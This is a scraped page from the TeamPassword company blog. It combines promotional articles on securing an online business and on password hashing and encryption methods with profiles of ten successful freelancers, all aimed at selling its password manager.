Anti-virus software prevents diverse <a href="https://us.norton.com/internetsecurity-malware-types-of-malware.html">types of malware</a> from attacking your e-commerce website and other web applications. When someone tries to install a malicious program or access sensitive data, the anti-virus program will alert you and prevent them from completing the action.&nbsp;

However, not all anti-virus software is equally effective. Assess their features and benefits before subscribing to one. At a minimum, make sure the one you choose has real-time protection, scheduled scans, and automatic updates.

<h3 style="text-align: left;">Use an SSL Certificate</h3>
When you run an online business, thousands of people visit your website daily. Presumably, your customers will pay online, which increases the risk of their payment details getting exposed to criminals.&nbsp;
If your website does not have an SSL certificate, it is easier for attackers to access your customers' data. When you use an SSL certificate users' input data is encrypted on the website and then transferred in an unreadable form. This prevents hackers from deciphering the information even if they have access to it, which is essential to secure online business.&nbsp;
Using an SSL certificate makes your website more dependable, increases shoppers&rsquo; sense of security, and builds trust between you and your customers.
You can easily purchase and install a reliable single-domain or multi-domain SSL certificate for your online business from an online provider. Some, such as <a href="https://www.clickssl.net/cheapest-wildcard-ssl-certificate-for-sub-domains">Wildcard SSL Certificate</a>, offer reliable protection at comparatively lower prices.

<h3 style="text-align: left;">Ensure Everyone Uses a Strong Password</h3>
Password breach is a major threat to online business security. The majority of e-commerce employees not only access the business website regularly but also require access to numerous other web applications and sites. Many people use simple passwords like a sequence of numerals or letters, which increases the risk of hacking as criminals can crack them easily. If a cybercriminal successfully hacks an employee&rsquo;s account, they may be able to access your data and that of your customers. Requiring your employees to use strong passwords can protect your business from <a href="https://teampassword.com/blog/what-is-a-brute-force-attack-and-are-you-at-risk">brute force attacks</a>.&nbsp;
You can test the <a href="https://teampassword.com/password-generator">strength of your passwords</a> and use a <a href="https://teampassword.com/password-generator">password generator</a> to ensure that your passwords are secure. Do your employees share login details? Try TeamPassword&rsquo;s password management tool <a href="https://app.teampassword.com/dashboard?_gl=1*1pfz5ua*_gcl_aw*R0NMLjE2NTc1Njg3OTkuQ2owS0NRandsSy1XQmhEakFSSXNBTzJzRXJTUFY4LTNHdnRNT0gxY3dhYkRqWkVham43bm5IRjVTZkVqbERJWWVwMl9fdkgxT2lrdTI0MGFBcDFMRUFMd193Y0I.#signup/testimonial">free for 14-days</a>.
Many e-commerce sites require customers to create an account. This too can create vulnerabilities. Once cybercriminals create an account they are part of your online community and can potentially access sensitive data or negatively affect your credibility. To protect your business you should require everyone creating an account on your website to use a strong password. A minimum of 12 characters that combine numbers, letters, and special characters is best.

<h3 style="text-align: left;">Train Your Employees to Identify a Threat</h3>
Many organizations don't train their employees to detect cybersecurity threats.&nbsp;
Not all of your employees may be tech savvy or aware of cyber security risks. As a result, they might do something unintentionally like respond to a phishing email or download files that install malicious programs.&nbsp;
Criminals are becoming increasingly clever at finding ways to breach websites&rsquo; security in order to access sensitive data. <a href="https://teampassword.com/blog/cybersecurity-the-most-important-topic-your-team-can-learn-about-this-year">Educating your employees</a> to understand their methods in order to identify threats is essential to prevent cyberattacks and secure your online business.&nbsp;

<h3 style="text-align: left;">Scan your website regularly&nbsp;</h3>
Your website is the most crucial part of your online business as most transactions take place here. Many people visit your website for shopping, or to get information about your products. Hackers scan websites to identify ones that will be easier to exploit.&nbsp;
A little security lapse can put your website at great risk, as miscreants can access critical data or hack your website before you know they&rsquo;re there. Securing your e-commerce website plays a crucial role in online business security. A <a href="https://pentest-tools.com/website-vulnerability-scanning/website-scanner">regular scan</a> of your website helps detect vulnerabilities and bridge security gaps. This can be done internally or externally by a cybersecurity company.&nbsp;

<h3 style="text-align: left;">Have Security Policies in Place</h3>
A cybersecurity policy is essential for every organization. You need to adopt a security policy that meets the needs of your business and ensure everyone in the organization adheres to it.&nbsp;
How do you design a security policy? There are templates available online. However, hiring professional cybersecurity personnel is an excellent way to secure your online business, whether you add them to your payroll or contract with a cybersecurity provider. Cybersecurity professionals will have the ability to detect vulnerabilities in your website, make improvements, and recommend a security policy that is best suited for your business.&nbsp;
Remember that any hardware you connect to the Internet is vulnerable, not just your computer. Digital ordering tools, smart appliances, and your <a href="https://solink.com/resources/ultimate-guide-to-pos-security/" target="_blank" rel="follow noopener" class="sh-color-blue sh-color">point of sale (POS) system</a> can all be hacked. &nbsp;

<h3 style="text-align: left;">Don't Store Customer's Sensitive Information</h3>
When you run an e-commerce business, you will have access to users' personal and payment details. Storing customers' credit card information and other sensitive information in your database can be a threat to your online business&rsquo; security as it may attract cybercriminals to your site and expose you to a breach.
Instead of storing the credit card information yourself, hire a third party to manage the financial transaction. Many <a href="https://www.shopify.com/">third-party e-commerce platforms</a> provide top-of-the-line protection and are easy to implement.&nbsp;

<h3 style="text-align: left;">Backup Your Data</h3>
You can implement the best online security policies, but still, you may not be able to mitigate the risk completely. Preparing for the worst situation is a wise way to reduce the impact of a cyberattack.&nbsp;
In the event that a hacker takes over your website and other applications, you may lose some data forever. It is wise to backup both your and your customers&rsquo; critical data. Even though it won't help in preventing the attacks, backing up your data will ensure you don't lose it forever.

Conclusion:&nbsp;

Online business is a lucrative profession that allows you to sell your products or services to customers from another part of the country or even abroad. However, it involves cybersecurity threats as well.&nbsp;
To succeed in this business, you have to ensure your website, mobile application, and other online tools are secure.&nbsp;
A security breach can damage your reputation, and your competitors will exploit the opportunity. You must take measures to mitigate the risks and ensure the safety of customers' data.&nbsp;
We have discussed a few tips to help you secure online business. Implementing these will help you minimize the risk and earn your customer's trust.

Online businesses can be lucrative, but they come with the risk of cyberattacks. These simple steps will help protect your online business.

Online businesses can be lucrative, but they come with the risk of cyberattacks. How can you ensure online ...

How To Secure Your Online Business Against Cyberattacks?

Online businesses can be lucrative, but they come with the risk of cyberattacks. How can you ensure online business security? This article is a comprehensive guide to help you secure your online business and prevent a potential cyber-attack.

Learn what to do if you forgot your Facebook password and how to use TeamPassword to make sure you never forget a password again.

Learn what to do if you forgot your Facebook password and how to use TeamPassword to make sure ...

What To Do If You Forgot Your Old Facebook Login

What To Do If You Forgot Your Old Facebook Login | TeamPassword

Password encryption is essential to store user credentials stored in a database securely. Without password encryption, anyone accessing a user database on a company's servers (including hackers) could easily view any stored passwords.
Even a strong 32-character password created using a <a href="https://teampassword.com/password-generator">secure password generator</a> is useless without password-encryption! If someone can read your password on a server, they can use it simply by copy/pasting it&mdash;no matter how long or complicated the password might be!
Encryption scrambles your password before saving it on the server. So, if someone hacks the server, instead of finding password123, they find a random series of letters and numbers.
In this article, we're going to explore the world of password encryption, why <a href="https://teampassword.com/blog/tips-and-tricks-to-create-a-strong-password">strong passwords matter</a>, and how you can practice better password management!
<a href="https://app.teampassword.com/dashboard#signup/testimonial">TeamPassword</a> is the password management solution for small businesses! Create, store, and share login credentials safely with employees, contractors, and clients. <a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a 14-day free trial</a> today!
&rlm;&rlm;&lrm; &lrm;[Table of Contents]
<ul>
<li><a href="#understandingpasswordencryption" rel="follow">Understanding Password Encryption</a></li>
<li><a href="#howdoespasswordencryptionwork" rel="follow">How Does Password Encryption Work?</a></li>
<li><a href="#5commonpasswordencryptionmethods" rel="follow">5 Common Password Encryption Methods</a></li>
<li><a href="#whystrongpasswordsmatter" rel="follow">Why Strong Passwords Matter</a></li>
</ul>
<h2 id="understandingpasswordencryption">Understanding Password Encryption</h2>
To explain password encryption effectively, we must first grasp the language. Several terms might be unfamiliar, so here is a quick intro to password encryption terminology.
<ul>
<li style="font-weight: 400;" aria-level="1">Key: Used to lock and unlock passwords using a random string of bits. You get private and public keys that crypt and decrypt data differently, but we won't get too deep in the weeds with keys!</li>
<li style="font-weight: 400;" aria-level="1">Bits: A logical state with one of two possible values, including 1/0, true/false, yes/no, or on/off as typical examples.</li>
<li style="font-weight: 400;" aria-level="1">Block (block cipher): A deterministic algorithm operating on fixed-length groups of bits, called blocks.</li>
<li style="font-weight: 400;" aria-level="1">Hash function: The algorithm that uses the key to create password encryption and decryption. A hash function is essentially a piece of code that runs every time someone saves a password or logs into an application.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">Hash: A random series of numbers and letters representing your password. The hash function uses your hash instead of the raw password for authentication.</li>
<li style="font-weight: 400;" aria-level="1">Salt: Additional letters and numbers appended to the hash</li>
</ul>
&rlm;&rlm;&lrm; &lrm;
<h2 id="howdoespasswordencryptionwork">How Does Password Encryption Work?</h2>
When you save a new password, a hash function creates a hash version and saves that on the server.&nbsp;
Every time you log in using your password, the hash function recreates the hash to see if it matches what's stored. If the hashes match, the algorithm passes the authentication and logs you in.&nbsp;
For example:
<ul>
<li style="font-weight: 400;" aria-level="1">Original password: Pa$$w0rd123</li>
<li style="font-weight: 400;" aria-level="1">Hashed password: 6AF1CE202340​FE71BDB914AD5357​E33A6982A63B</li>
</ul>
While this might seem secure, simple hashed passwords aren't hack-proof.
The hash function only creates a unique hash for each password, not each user. So, if multiple users have the password, Pa$$w0rd123, the hash will be exactly the same.
To overcome this encryption vulnerability, engineers salt passwords so each hash is unique, even if the passwords are identical.
<h3>How Salt Works</h3>
A salt appends a unique value of 8 bytes (16 characters) to the password before the hash function creates a hash. This way, even identical passwords are unique before the hash function.
For example:
<ul>
<li style="font-weight: 400;" aria-level="1">Two identical passwords: Pa$$w0rd123</li>
<li style="font-weight: 400;" aria-level="1">Salt value one: E1F53135E559C253</li>
<li style="font-weight: 400;" aria-level="1">Salt value two: 84B03D034B409D4E</li>
<li style="font-weight: 400;" aria-level="1">Password one before hash: Pa$$w0rd123E1F53135E559C253</li>
<li style="font-weight: 400;" aria-level="1">Password two before hash: Pa$$w0rd12384B03D034B409D4E</li>
<li style="font-weight: 400;" aria-level="1">Password one hashed value (SHA256): 72AE25495A7981​C40622D49F9A52E4F15​65C90F048F59027BD9​C8C8900D5C3D8</li>
<li style="font-weight: 400;" aria-level="1">Password two hashed value (SHA256): B4B6603ABC670​967E99C7E7F1389E40​CD16E78AD38EB1468E​C2AA1E62B8BED3A</li>
</ul>
&rlm;&rlm;&lrm; &lrm;
<h2 id="5commonpasswordencryptionmethods">5 Common Password Encryption Methods</h2>
<h3>1. Data Encryption Standard (DES)</h3>
While applications no longer use Data Encryption Standard (DES), it's important to mention this password encryption method because of its history and influence on more secure modern standards.
IBM developed DES as a 56-bit encryption technology in the early 1970s. The NSA adopted and improved DES before it was approved worldwide as the encryption standard.
However, since the late 70s, hackers have been able to break DES encrypted passwords. In 1999, ethical hackers managed to break a DES key in under 24 hours.&nbsp;
To make DES more secure, engineers created Triple DES and later Advanced Encryption Standard (AES), which we still use today.
<h3>2. Triple DES</h3>
Triple DES uses three 56-bit keys (blocks) to create 168-bit encryption (some security experts argue that Triple DES is only 112 bits strong). Although Triple-DES is slowly being phased out, many financial institutions still use it to encrypt ATM PINs.
<h3>3. Advanced Encryption Standard (AES)</h3>
AES is the new encryption standard&mdash;trusted by the United States Government and many other prominent organizations globally. At 128 bits, AES is sufficiently secure, but most organizations prefer heavy-duty 256-bit encryption.
At <a href="https://teampassword.com/security">TeamPassword</a>, we use 256-bit encryption to store passwords, ensuring the highest levels of security for our clients. We're also a <a href="https://teampassword.com/security">secure hosting provider</a> holding multiple security accreditations.
Hackers can only break an AES encrypted password through a brute-force attack&mdash;trying password combinations to find the right one.
To counter brute-force attacks, applications will lock an account after a certain number of attempts or use tools like Google's reCAPTURE.
<h3>4. Blowfish</h3>
American cryptographer, Bruce Schneier, designed Blowfish in 1993 as an antidote to the weak DES encryption. Blowfish uses a 64-bit block and variable key length of 32 to 448 bits.
Although Blowfish is more robust than its DES predecessor, the 64-bit block is still vulnerable to attacks, most commonly birthday attacks&mdash;a cryptographic attack that exploits the mathematics behind the algorithm.
To solve Blowfish vulnerabilities, engineers created Twofish in 1998 (128-bit blocks with 256-bit keys) and Threefish in 2008 (256, 516, 1024-bit blocks with 256, 516, 1024-bit keys).
<h3>5. Rivest-Shamir-Adleman (RSA)</h3>
RSA is one of the oldest and widely used to transfer data securely. The encryption works with two keys, two large prime numbers, and an additional auxiliary value.
Due to the complicated encrypting and decrypting process, there is no known method for breaking RSA encryption.&nbsp;
Although widely used for transferring data, RSA is slow and not suitable for password encryption.
&rlm;&rlm;&lrm; &lrm;
<h2 id="whystrongpasswordsmatter">Why Strong Passwords Matter</h2>
Password encryption can only prevent criminals from viewing saved credentials stored on a server&mdash;but cannot prevent hackers from guessing weak/commonly used passwords. If you <a href="https://teampassword.com/blog/colonial-pipeline-ransomware-attack-dont-reuse-passwords">reuse the same password for multiple accounts</a>, this also puts you at risk!
Encryption is most effective when users create robust, unique passwords for every account. For example, a random 32-character password with letters, numbers, and special characters hashed and salted is near impossible to guess or decode, even using a computer!
In another scenario, let's assume you have a strong 32-character password, but you use it for every account. If hackers manage to steal that password, they have access to every account using the same credentials! Your strong password is effectively useless.
<h3>Improving Your Password Management</h3>
Now that you understand password encryption and the associated vulnerabilities, you can see why strong passwords are essential.
Effective password management is crucial to protect yourself against cyberattacks or in the highly likely event of a data breach where hackers steal your credentials.
Criminals are after the low-hanging fruit&mdash;people who use weak passwords!
5 tips for creating stronger passwords:
<ol>
<li style="font-weight: 400;" aria-level="1">Create strong passwords for every account. The easiest way to do this is using a password generator. <a href="https://teampassword.com/password-generator">TeamPassword has a free password generator</a> anyone can use to create passwords from 12-32 characters using uppercase, lowercase, numbers, and special characters. We recommend creating passwords as long as the application will allow.</li>
<li style="font-weight: 400;" aria-level="1">Never create passwords shorter than eight characters, with 12 being our recommended minimum.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">Never reuse the same password for multiple accounts.</li>
<li style="font-weight: 400;" aria-level="1">Never create passwords with your name, family member's names, or pet's names. With social media, this information is freely available. Criminals can add those names to algorithms for brute-force attacks.</li>
<li style="font-weight: 400;" aria-level="1">Don't store passwords in digital notepads or spreadsheets. We recommend using a <a href="https://app.teampassword.com/dashboard#signup/testimonial">password manager like TeamPassword</a> to create and store your credentials.</li>
</ol>
&rlm;&rlm;&lrm; &lrm;
<h2>Why You Need a Password Manager like TeamPassword</h2>
We have so many accounts these days; it's almost impossible to create unique, memorable, secure passwords for each one. A password manager solves this problem.
Instead of remembering the credentials for every account, you only need to memorize the one to log into your password manager.&nbsp;
TeamPassword keeps all of your credentials safely stored and encrypted, so you never have to memorize a password again. Instead of entering your credentials, you use one of TeamPassword's browser extensions (Chrome, Firefox, and Safari) to log into accounts.
<h3>Built for Teams</h3>
TeamPassword's best feature is its ability to share credentials with team members securely. Instead of sharing passwords, you provide access through TeamPassword.&nbsp;
Employees <a href="https://app.teampassword.com/dashboard#signup/testimonial">use TeamPassword</a> to log in, meaning you never share raw passwords&mdash;no more worrying about unauthorized access or sharing.
You can create groups in TeamPassword to share access with employees, clients, contractors, and freelancers. When someone no longer needs access, remove them from the group with a single click. No need to change passwords every time someone leaves a project!
<h3>Built-In Password Generator</h3>
TeamPassword features a built-in secure password manager so you can create robust passwords for every account. TeamPassword also ensures you never reuse the same credentials so that you won't fall victim to credential stuffing attacks!
With a built-in password generator, you can change passwords regularly, and TeamPassword will update the new credentials for all users!
<h3>Monitor Login Activity</h3>
TeamPassword's activity log keeps track of every action across all of your accounts&mdash;logins, password changes, new team members, sharing access, and more.
You can also set up email notifications for all TeamPassword actions so that you can react fast to any suspicious activity.
<h3>Get Your Free TeamPassword Trial</h3>
Password encryption is not enough to protect your business from password vulnerabilities! You need a robust password manager like TeamPassword to create, store, and share credentials securely.
&rlm;&rlm;&lrm; &lrm;
<a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a 14-day free trial</a> and let TeamPassword secure your company's digital assets.

Password encryption is the number one component of password security. TeamPassword encrypts passwords with state-of-the-art technology to keep passwords safe.

Password encryption is the number one component of password security. TeamPassword encrypts passwords with state-of-the-art technology to keep ...

What is password encryption and how much is enough?

What is password encryption and how does it work?

Over the last decade, the gig economy boom has allowed professionals worldwide to switch to freelancing and build a network of international clients.&nbsp;
According to Upwork, 1 in 3 US workers engaged in freelance work during 2020. Some of the most successful freelancers earn hundreds of thousands of dollars per year through platforms like Upwork, Freelancer, and Toptal.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
Does your company hire freelancers? How do you <a href="https://teampassword.com/blog/should-i-share-data-with-freelancers">share passwords with freelancers</a>? TeamPassword is an affordable password management solution for small businesses, startups, and agencies to share credentials securely with team members and freelancers. <a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a 14-day free trial</a> today.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
<h2>10 Successful Freelancers</h2>
Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field with excellent track records&mdash;many have worked with the biggest companies in the world!
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>1. Scott Luscombe - Graphic Designer / Shopify Expert / Website Developer / Copywriter&nbsp; - Canada</h3>
Scott Luscombe is a freelance graphic designer, Shopify expert, website developer, and copywriter from Uxbridge, Canada. He holds a degree in Illustration from Sheridan College and a degree in Marketing from the University of Toronto.
Scott has been a freelancer for most of his professional career and has earned over $500k on Upwork. He has completed over 311 jobs and worked&nbsp;10,956 hours!&nbsp;
Scott's work includes graphic design and branding, illustration and icons, copywriting, website design and development, UX/UI, and printing and packaging. He also provides freelance coaching and consulting. Scott is a Top Rated Upwork Freelancer currently charging $99 per hour for various creative gigs.
Some of Scott's most notable work includes designs for Coca-Cola, the Canadian Cancer Society, Nickelodeon, and Wallet Ninja (to name a few).&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>2. Kathy Edens - Marketing Consultant / Freelance Copywriter - United States</h3>
<a href="https://www.upwork.com/freelancers/~016177d19f0624c1a7?viewMode=1">Kathy Edens is a Top Rated Upwork Freelancer</a> with over $300k platform earnings! Kathy has been self-employed as a marketing consultant and freelance copywriter for almost ten years from her home in Ohio, United States.
She holds a Bachelor of Science in Professional Writing and Psychology from Oregon State University, which she says "...helps me understand how to reach your target audience with words."&nbsp;
Kathy has ghost-written several non-fiction books on various topics, including social entrepreneurship, healthcare, real estate investing, and the cannabis industry, to name a few.
Kathy also writes web content, sales pages, email marketing content, case studies, white papers, brochures, press releases, and more. Kathy's rates start at $86 per hour for her writing and marketing services.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
<h3>3. Koen van Oeveren - UX designer - Netherlands</h3>
Koen van Oeveren is a freelance UI &amp; UX designer from North Brabant, Netherlands, with almost ten years of experience. Koen works with several design agencies in the Netherlands, designing apps, websites, and eCommerce experiences for many international brands.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
Koen holds a Bachelor of Applied Science in Communication and Multimedia Design from Avans University in the Netherlands. Koen's <a href="https://www.koenvo.com/index.html">portfolio website Koenvo</a> was nominated for a <a href="https://www.awwwards.com/sites/koenvo-ui-ux-portfolio">2021 awwwards. Award</a>.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
<h3>4. Pascal Strasche - Product / UX designer - Germany</h3>
Pascal Strasche is a product and UX designer with more than ten years of design experience from Germany. He holds a Master of Arts in Interaction Design and a Bachelor of Arts in Graphic Design, both from HAWK University of Applied Sciences and Arts.
For almost a year over 2020/2021, Pascal worked as the sole product designer to design Con Cubo's SaaS tool that helps complex organizations visualize and manage teams. He's also worked with German steel giant XOM Materials to find product solutions to digitalize&nbsp;Germany's steel industry.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
In 2019, Pascal founded Product Design Resources, a growing archive of 800+ design resources, weekly updated for the design community.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>5. Paul Hunkin - Developer - New Zealand</h3>
Paul Hunkin is a freelance software consultant and developer from Tauranga, New Zealand, but currently living in Portugal.&nbsp;
Paul has over ten years of experience as a software developer with an impressive work history, including Google, NASA, InfoSys, and the Chinese aerospace industry leader COMAC.
He's worked with several early-stage startups designing everything from high-performance big-data systems to complex web applications to 3D rendering engines. He's also built a lot of the foundational code for independent games on Android.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
Paul is a Top Rated Upwork Freelancer with over $400k in platform earnings. His rates start at $120 per hour for software development. <a href="https://paulh.consulting/">Check out Paul's website</a> for more about his impressive portfolio and work history.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>6. Jana Galat - Writer / Brand Strategist - Canada</h3>
Jana Galat is a freelance copywriter and brand strategist from Ontario, Canada. She holds a Bachelor's Degree in Management and Organizational Studies from King's University College and an Honors in Business Administration from Western University.
Jana has extensive experience writing landing pages, email campaigns, social media ads, and print materials and says, "I am obsessed with creating copy that sells..."
After several years of professional work experience, Jana went freelance in 2019 and has quickly built a reputation as a <a href="https://www.upwork.com/freelancers/~01bfa17a48301876dd">Top Rated Upwork Freelancer</a> with over $70k in platform earnings. Jana's rates start at $100 per hour for copywriting and brand consulting.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>7. Kate H. - Logo Designer / Branding Expert - United States</h3>
Kate is a freelance professional logo designer and branding expert from Maryland, United States. Kate&nbsp;ran her own green wedding brand which she sold to mywedding.com in 2014, allowing her to focus on helping small&nbsp;businesses figure out what they want (and who they are) and translate that into design.
She holds a Master's degree in Environmental Management from Yale School of The Environment, and a J.D. in environmental law from Pace Law School.&nbsp;
Kate's skillset includes redesigning and updating material to make it easier to understand, building a consistent brand from a simple starting point like a logo, and creating unique logos that guarantee results.
Kate is a Top Rated Upwork Freelancer, and her rates start at $225 per hour. You can find out more about Kate on her <a href="https://www.upwork.com/freelancers/~013ce73876c1c18126" rel="follow noopener" target="_blank">Upwork profile</a>.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>8. Marcos Rezende - UX designer - Canada</h3>
Marcos Rezende is a UX Designer from Ontario, Canada, with more than 13 years of experience. Marcos has worked in over 30 industry sectors for multinational organizations in the United States, Canada, Germany, and Brazil.&nbsp;
Some of Marcos' notable projects include apps for Ontario's COVID-19 dashboard, Urban Master Planning collaboration platform, and Reaction (kid's e-learning app), to name a few.&nbsp;
Marcos loves sharing his industry expertise with aspiring UX designers and regularly writes for the popular UX publication Career Foundry. Total recognizes Marcos as part of its "Top 3%" of global freelancer talent&mdash;a title given to elite freelancers in their given field.
We don't have access to Marcos' rates, but the best UX designers on Upwork earn upwards of $100 per hour. As a Toptal Top 3% freelancer, Marcos likely charges $200-$300 per hour.
<a href="https://www.marcosrezende.com/">Marcos Rezende's website</a> was nominated for the prestigious <a href="https://www.awwwards.com/sites/ux-portfolio-marcos-rezende">awwwards.</a> in 2021.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>9. Tanya Litvinova - UX/UI Designer - United States</h3>
Tanya Litvinova is a freelance UX/UI designer from New York City, United States. She holds a Bachelor of Fine Arts in Advertising Design / Communication Design from the Fashion Institute of Technology.
Tanya specializes in product, mobile, and web design as well as user experience flow, research, and validation.
"I have a passion to make the complex simple, shape behavior, design, plan, and strategize. Aiming for the best user experience, all the while balancing the needs of business and technology to create engaging, habit-forming digital products."
Tanya has worked with Fortune 100 &amp; Fortune 500 companies and successfully delivered business-transforming data-driven analytics, responsive BI dashboards, enterprise web apps, and management systems. Some of Tanya's notable clients include KOCH Industries, BlackRock Financial, BCG Group, and FireEye, to name a few.
<a href="https://www.upwork.com/freelancers/~0165035041b26e96df">Tanya is a Top Rated Upwork Freelancer</a> with more than $200k platform earnings. Her current rate starts at $162.50 per hour.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<h3>10. Guangming Lang - Data Scientist - United States</h3>
Guangming Lang is a freelance data scientist from Michigan, United States. He holds a Bachelor of Arts in Mathematics from New College of Florida and a Master of Science in Biostatistics from the University of Michigan. Guangming has also completed several Coursera courses in data science and machine learning.
Guangming has been a freelancer since 2013 and has worked across several industries, including fintech, trading, medicine, biotech, advertising, and HR.&nbsp;
Guangming is a Top Rated Upwork Freelancer with over $400k in platform earnings. He's completed 216 jobs on Upwork totaling 3,805 hours! Guangming's current rates start at $200 per hour.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
<h2>Secure Freelancer Workflows With TeamPassword</h2>
No matter how talented or reputable the freelancers and contractors you hire, your company must use secure workflows to protect your digital assets.
Freelancers often need access to shared accounts and tools. Using a <a href="https://app.teampassword.com/dashboard#signup/testimonial">password manager</a> is the first step to securing these accounts and platforms. You can also use a password manager to share credentials with employees, clients, and other stakeholders to ensure you never expose raw passwords via email, spreadsheets, chat apps, and other non-secure methods.
<a href="https://app.teampassword.com/dashboard#signup/testimonial">TeamPassword</a> lets you create groups to share access with only those who need it. When they're done, revoke access with a single click. No need to change passwords every time someone leaves the team.
If you do need to change a password, TeamPassword's built-in <a href="https://teampassword.com/password-generator">password generator</a> lets you create secure passwords between 12-32 characters using numbers, letters (uppercase/lowercase), and symbols.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;
Ready to onboard clients and freelancers securely with TeamPassword's robust <a href="https://app.teampassword.com/dashboard#signup/testimonial">password management solution</a>? <a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a free trial</a> to secure your company's digital assets today!

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field.

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in ...

10 extremely successful freelancers and what they do

Here are ten successful freelancers and what they do. These freelancers have earned their place as experts in their given field with excellent track records—many have worked with the biggest companies in the world!

TeamPassword Blog

Browse our carefully created articles about Information Security, Password Management, Product Information, and Modern Business, all written with your team's safety and success in mind.

Most popular articles

Password Management

October 24, 2023 ∙ 11 min read

How to Make a Good Username | Create a Unique and Secure Username

What To Do If You Forgot Your Old Facebook Login | TeamPassword

What is password encryption and how does it work?

10 extremely successful freelancers and what they do

Cybersecurity

October 27, 2022 ∙ 8 min read

How to Talk to Remote Employees About Cybersecurity

News

October 6, 2022 ∙ 5 min read

The Optus Breach: How Not to PR

News

September 27, 2022 ∙ 7 min read

The 2022 Uber Breach

Cybersecurity

August 31, 2022 ∙ 4 min read

Cybersecurity Series: What is cross-site request forgery (CSRF) and how to defend against it

Cybersecurity

July 19, 2022 ∙ 6 min read

Cybersecurity Series: What is cross-site scripting (XSS) and how do you defend against it

Cybersecurity

July 14, 2022 ∙ 8 min read

How To Secure Your Online Business Against Cyberattacks?

The Password Manager for Teams

Product

Support

Channels

Legal